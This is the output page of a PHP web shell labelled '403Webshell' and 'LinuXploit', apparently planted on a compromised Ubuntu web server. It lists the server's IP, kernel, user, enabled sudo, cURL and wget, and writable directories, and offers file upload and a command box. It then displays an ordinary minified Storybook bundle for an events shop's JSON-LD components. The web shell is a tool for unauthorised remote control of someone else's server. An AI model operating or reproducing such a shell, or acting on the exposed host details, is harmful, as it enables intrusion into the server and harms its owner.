403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/elite-events-storybook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/elite-events-storybook/components-shared-JsonLd-JsonLd-stories.2c07cb0b.iframe.bundle.js
"use strict";(self.webpackChunkelite_events_nextjs=self.webpackChunkelite_events_nextjs||[]).push([[7249],{"./src/components/shared/JsonLd/JsonLd.stories.tsx":(__unused_webpack_module,__webpack_exports__,__webpack_require__)=>{__webpack_require__.r(__webpack_exports__),__webpack_require__.d(__webpack_exports__,{BreadcrumbSchema:()=>BreadcrumbSchema,CombinedSchemaArray:()=>CombinedSchemaArray,FAQSchema:()=>FAQSchema,MultipleSchemas:()=>MultipleSchemas,OrganizationSchema:()=>OrganizationSchema,ProductSchema:()=>ProductSchema,WebsiteSchema:()=>WebsiteSchema,__namedExportsOrder:()=>__namedExportsOrder,default:()=>JsonLd_stories});var jsx_runtime=__webpack_require__("./node_modules/next/dist/compiled/react/jsx-runtime.js");function JsonLd({data}){const jsonLdString=JSON.stringify(data);return(0,jsx_runtime.jsx)("script",{type:"application/ld+json",dangerouslySetInnerHTML:{__html:jsonLdString}})}function JsonLdMultiple({schemas}){return(0,jsx_runtime.jsx)(jsx_runtime.Fragment,{children:schemas.map((schema,index)=>(0,jsx_runtime.jsx)("script",{type:"application/ld+json",dangerouslySetInnerHTML:{__html:JSON.stringify(schema)}},`jsonld-${index}`))})}var process=__webpack_require__("./node_modules/process/browser.js");const constants_SITE_CONFIG={name:"Elite Events",description:"Premium event supplies for all your special occasions",url:"http://localhost:3000",locale:"en_US",type:"website",twitterHandle:"@eliteevents",logo:"/images/logo.png",defaultImage:"/images/og-default.jpg"},constants_ORGANIZATION_CONFIG={name:"Elite Events",url:constants_SITE_CONFIG.url,logo:`${constants_SITE_CONFIG.url}/images/logo.png`,email:"contact@eliteevents.com",telephone:"+1-XXX-XXX-XXXX",address:{streetAddress:"",addressLocality:"",addressRegion:"",postalCode:"",addressCountry:"US"},socialLinks:["https://facebook.com/eliteevents","https://twitter.com/eliteevents","https://instagram.com/eliteevents","https://pinterest.com/eliteevents"]},AVAILABILITY_MAP_inStock=(new URL(constants_SITE_CONFIG.url),process.env.GOOGLE_SITE_VERIFICATION,"https://schema.org/InStock"),AVAILABILITY_MAP_outOfStock="https://schema.org/OutOfStock",CONDITION_MAP_new="https://schema.org/NewCondition";function metadata_generators_getAbsoluteUrl(path){if(path.startsWith("http"))return path;const cleanPath=path.startsWith("/")?path:`/${path}`;return`${constants_SITE_CONFIG.url}${cleanPath}`}function generateProductSchema(product){const productUrl=metadata_generators_getAbsoluteUrl(`/product/${product.id}`),price=product.discountedPrice||product.price,images=product.images?.map(img=>metadata_generators_getAbsoluteUrl(img.image))||[],averageRating=function calculateAverageRating(reviews){if(!reviews||0===reviews.length)return 0;const sum=reviews.reduce((acc,review)=>acc+review.rating,0);return Math.round(sum/reviews.length*10)/10}(product.reviews||[]),schema={"@context":"https://schema.org","@type":"Product",name:product.title,description:product.description||"",image:images.length>0?images:[metadata_generators_getAbsoluteUrl(constants_SITE_CONFIG.defaultImage)],sku:product.sku||void 0,brand:{"@type":"Brand",name:constants_SITE_CONFIG.name},offers:{"@type":"Offer",price,priceCurrency:"USD",availability:product.stock>0?AVAILABILITY_MAP_inStock:AVAILABILITY_MAP_outOfStock,url:productUrl,itemCondition:CONDITION_MAP_new,priceValidUntil:new Date(Date.now()+2592e6).toISOString().split("T")[0]}};return product.reviews&&product.reviews.length>0&&(schema.aggregateRating={"@type":"AggregateRating",ratingValue:averageRating,reviewCount:product.reviews.length,bestRating:5,worstRating:1}),schema}function generateOrganizationSchema(){return{"@context":"https://schema.org","@type":"Organization",name:constants_ORGANIZATION_CONFIG.name,url:constants_ORGANIZATION_CONFIG.url,logo:constants_ORGANIZATION_CONFIG.logo,email:constants_ORGANIZATION_CONFIG.email,telephone:constants_ORGANIZATION_CONFIG.telephone,address:{"@type":"PostalAddress",...constants_ORGANIZATION_CONFIG.address},contactPoint:{"@type":"ContactPoint",telephone:constants_ORGANIZATION_CONFIG.telephone,contactType:"customer service",availableLanguage:["English"]},sameAs:constants_ORGANIZATION_CONFIG.socialLinks}}function generateWebsiteSchema(){return{"@context":"https://schema.org","@type":"WebSite",name:constants_SITE_CONFIG.name,url:constants_SITE_CONFIG.url,description:constants_SITE_CONFIG.description,potentialAction:{"@type":"SearchAction",target:{"@type":"EntryPoint",urlTemplate:`${constants_SITE_CONFIG.url}/shop?search={search_term_string}`},"query-input":"required name=search_term_string"}}}function generateBreadcrumbSchema(items){return{"@context":"https://schema.org","@type":"BreadcrumbList",itemListElement:items.map((item,index)=>({"@type":"ListItem",position:index+1,name:item.name,item:metadata_generators_getAbsoluteUrl(item.url)}))}}const JsonLd_stories={title:"Shared/JsonLd",component:JsonLd,parameters:{docs:{description:{component:"Renders JSON-LD structured data for SEO. The output is a script tag that is not visually rendered but is read by search engines."}}},decorators:[Story=>(0,jsx_runtime.jsxs)("div",{className:"p-4 bg-neutral-900 text-neutral-100 rounded-lg",children:[(0,jsx_runtime.jsx)("p",{className:"mb-4 text-sm text-neutral-400",children:"JSON-LD is rendered as a hidden script tag. Check the page source or DevTools to see the structured data."}),(0,jsx_runtime.jsx)(Story,{}),(0,jsx_runtime.jsx)("p",{className:"mt-4 text-xs text-neutral-500",children:"(The script tag is rendered but not visible)"})]})]},mockProduct={id:1,title:"Elegant Wedding Centerpiece",description:"Beautiful floral centerpiece perfect for wedding receptions. Includes premium silk flowers and LED lights.",price:89.99,discountedPrice:74.99,sku:"WC-001",stock:50,images:[{id:1,image:"/images/products/centerpiece-1.jpg"}],category:{id:1,title:"Wedding Decorations",slug:"wedding-decorations"},reviews:[{rating:5},{rating:4},{rating:5},{rating:5}]},mockBreadcrumbs=[{name:"Home",url:"/"},{name:"Shop",url:"/shop"},{name:"Wedding Decorations",url:"/shop?category=wedding-decorations"},{name:"Centerpieces",url:"/shop?category=centerpieces"}],mockFaqs=[{question:"What is your return policy?",answer:"We offer a 30-day return policy for all unused items in their original packaging."},{question:"Do you offer free shipping?",answer:"Yes, we offer free shipping on orders over $50 within the continental United States."},{question:"How long does delivery take?",answer:"Standard delivery takes 5-7 business days. Express shipping is available for 2-3 day delivery."}],ProductSchema={name:"Product Schema",render:()=>(0,jsx_runtime.jsx)(JsonLd,{data:generateProductSchema(mockProduct)}),parameters:{docs:{description:{story:"Product schema for rich product snippets in search results. Includes price, availability, and ratings."}}}},OrganizationSchema={name:"Organization Schema",render:()=>(0,jsx_runtime.jsx)(JsonLd,{data:generateOrganizationSchema()}),parameters:{docs:{description:{story:"Organization schema for brand identity and knowledge panel in search results."}}}},WebsiteSchema={name:"Website Schema",render:()=>(0,jsx_runtime.jsx)(JsonLd,{data:generateWebsiteSchema()}),parameters:{docs:{description:{story:"Website schema with search action for sitelinks search box in Google."}}}},BreadcrumbSchema={name:"Breadcrumb Schema",render:()=>(0,jsx_runtime.jsx)(JsonLd,{data:generateBreadcrumbSchema(mockBreadcrumbs)}),parameters:{docs:{description:{story:"Breadcrumb schema for navigation trail in search results."}}}},FAQSchema={name:"FAQ Schema",render:()=>{return(0,jsx_runtime.jsx)(JsonLd,{data:(faqs=mockFaqs,{"@context":"https://schema.org","@type":"FAQPage",mainEntity:faqs.map(faq=>({"@type":"Question",name:faq.question,acceptedAnswer:{"@type":"Answer",text:faq.answer}}))})});var faqs},parameters:{docs:{description:{story:"FAQ schema for FAQ sections, enabling rich FAQ snippets in search results."}}}},MultipleSchemas={name:"Multiple Schemas",render:()=>(0,jsx_runtime.jsx)(JsonLdMultiple,{schemas:[generateOrganizationSchema(),generateWebsiteSchema(),generateBreadcrumbSchema(mockBreadcrumbs)]}),parameters:{docs:{description:{story:"Multiple schemas rendered as separate script tags. Commonly used on the root layout."}}}},CombinedSchemaArray={name:"Combined Schema Array",render:()=>(0,jsx_runtime.jsx)(JsonLd,{data:[generateOrganizationSchema(),generateWebsiteSchema()]}),parameters:{docs:{description:{story:"Multiple schemas combined into a single JSON-LD array in one script tag."}}}},__namedExportsOrder=["ProductSchema","OrganizationSchema","WebsiteSchema","BreadcrumbSchema","FAQSchema","MultipleSchemas","CombinedSchemaArray"]}}]);

Youez - 2016 - github.com/yon3zu
LinuXploit